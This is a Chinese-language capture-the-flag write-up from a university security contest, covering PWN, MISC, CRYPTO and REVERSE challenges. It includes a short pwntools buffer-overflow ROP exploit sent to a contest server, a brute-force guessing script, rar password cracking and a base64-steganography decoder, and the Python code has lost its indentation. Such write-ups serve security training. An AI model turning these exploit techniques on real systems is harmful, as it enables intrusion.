[WP]安恒杯月赛暨全国大学生信息安全竞赛北京工业大学校内选拔赛
PWN
fantasy:
最基本的ROP
EXP:
from pwn import *
p=remote("183.129.189.60",10025)
p.recvuntil('message')
payload='a'*0x38+p64(0x400735)
p.send(payload)
p.interactive()MISC
佛系青年:
伪加密,图片没有被加密,伪加密部分是txt
右键7z直接解压

与佛论禅 http://www.keyfc.net/bbs/tools/tudoucode.aspx
在线解密得到flag
babync:
输入一个数他会告诉你大了还是小了
第一想法就是二分法爆破
很荣幸拿到一血
from pwn import *
b=""
minn=55555555555555555555555555
maxn=555555555555555555555555555
n=int((maxn+minn)/2)
for i in range(100):
n=int((maxn+minn)/2)
p=p=remote("183.129.189.60",10029)
print n
p.sendline(str(n))
b=p.recv(8)
if('sma' in b):
minn=n+1
if('big' in b):
maxn=n-1
print str(n)+b
p.close()
print ngakki:
分离文件得到rar包,爆破rar密码

得到字符串文本
本来以为是base91或者base92,并且base91也确实能解出东西了,但是研究了半天发现并没什么用
最后统计字符数量排序得到的flag

SXMgdGhpcyBiYXNlPw==:
base64隐写,脚本直接秒杀:
#coding:utf-8
def get_base64_diff_value(s1, s2):
base64chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
res = 0
for i in xrange(len(s2)):
if s1[i] != s2[i]:
return abs(base64chars.index(s1[i]) - base64chars.index(s2[i]))
return res
def solve_stego():
with open('3.txt', 'rb') as f:
file_lines = f.readlines()
bin_str = ''
for line in file_lines:
steg_line = line.replace('\n', '')
norm_line = line.replace('\n', '').decode('base64').encode('base64').replace('\n', '')
diff = get_base64_diff_value(steg_line, norm_line)
print(diff)
pads_num = steg_line.count('=')
if diff:
bin_str += bin(diff)[2:].zfill(pads_num * 2)
else:
bin_str += '0' * pads_num * 2
print(goflag(bin_str))
def goflag(bin_str):
res_str = ''
for i in xrange(0, len(bin_str), 8):
res_str += chr(int(bin_str[i:i + 8], 2))
return res_str
if __name__ == '__main__':
solve_stego()
CRYPTO:
Checkln:
这是我见过最恶心的签到题,还只有50分
base64解密完以后得到的一直以为是base85 91 或者 92
还考虑了他更改table
最后把密文和‘GXY{’一起放在十六进制编辑器中对比 发现每一个字符都相差2F
写了个脚本:

然后才知道原来是Rot47..
Rot47解密得到flag
REVERSE:
luck_guy:

运气好的话三次先取到余数4和5再取到余数1是可以直接拿到flag的
开始写了脚本跑了1w次没跑出来
最后还是看代码反推了
前半段flag是直接输出的
后半段flag是加密过的
